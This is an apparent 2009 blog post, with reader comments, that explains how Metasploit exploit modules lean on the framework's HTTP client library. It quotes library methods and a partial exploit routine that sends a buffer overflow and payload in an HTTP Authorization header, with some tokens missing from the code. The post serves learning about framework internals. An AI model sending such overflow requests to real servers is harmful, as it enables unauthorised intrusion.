Monday, June 1, 2009

Making Life Easier With Metasploit Libraries

I was explaining some of this to a friend and figured I'd just post it...

If you have ever looked at an exploit module in metasploit most, if not all, will be calling additional libraries to actually "do" what the work for the exploit --this is actually what makes MSF so great.

What I mean by that is, there is an exploit library(Msf at a higher leverl and Rex and lower level) to set up and do most of the protocol work for us. So if we were going to use any sort of webserver exploit if we were writing it in perl we'd have to write all the code to do the http connection for us (there may be a library for perl too -- bare with me). But with Metasploit in this case we'd just have to call the http library which has the connect method in it.

check line 70 for our connect method.

70 #
71 # Connects to an HTTP server.
72 #
73 def connect(opts={})
74 nclient =
75 rhost,
76 rport.to_i,
77 {
78 'Msf' => framework,
79 'MsfExploit' => self,
80 },
81 ssl,
82 proxies
83 )

we can also send raw http requests.

171 #
172 # Connects to the server, creates a request, sends the request, reads the response
173 #
174 def send_request_raw(opts={}, timeout = -1)
175 begin
176 c = connect(opts)
177 r = c.request_raw(opts)
178 c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
179 rescue ::RuntimeError => e
180 print_error("An error occurred sending this request: #{e}")
181 nil
182 rescue ::Errno::EPIPE, ::Timeout::Error
183 nil
184 end
185 end

All the client and server methods are actually in http.rb. its a good read.

so whats the point?

well if we start to take a look at the http exploits we'll see an include to:


this brings in all our http client methods like the one above.

then when we want to send our actual request we can do something simple like:

55 def exploit
56 c = connect
58 dwerd = Metasm::Shellcode.assemble(, "call dword [esp+58h]").encode_string
60 filler = [target.ret].pack('V') + dwerd + make_nops(28)
62 print_status("Trying target #{}...")
64 send_request_raw({
65 'uri' => payload.encoded,
66 'version' => '1.1',
67 'method' => 'GET',
68 'headers' =>
69 {
70 'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
71 }
72 }, 5)

on line 56 we initialize our connection with connect and on lines 64-72 we send our request with our overflow and payload

If we wanted to see all the options available to use in our send_request_raw request we would check out our rex::proto::http::client (REX = Lower level) code at line 105.

more on this later, hopefully this is enough to get you started looking under the hood of the framework.




snow said...

Awesome post. Actually switching from Twisted python framework for some of the network processing. I also started looking at useful Rex utility functions

CG said...

yeah your post is actually what inspired me to write mine.

good stuff.

Anonymous said...

Thanks for the post. I just found your blog and watched your vid from Notacon. Nice talk and I am sorry I missed. I had class that weekend. :(

I have been using MSF for some time but never really dove under the covers. I guess I just let Mr. Oz pull the strings for me. Thanks for the eye opener on this. You have actually inspired me to crack open a cold one and take a closer look into the code.

Thanks and you now have a loyal reader.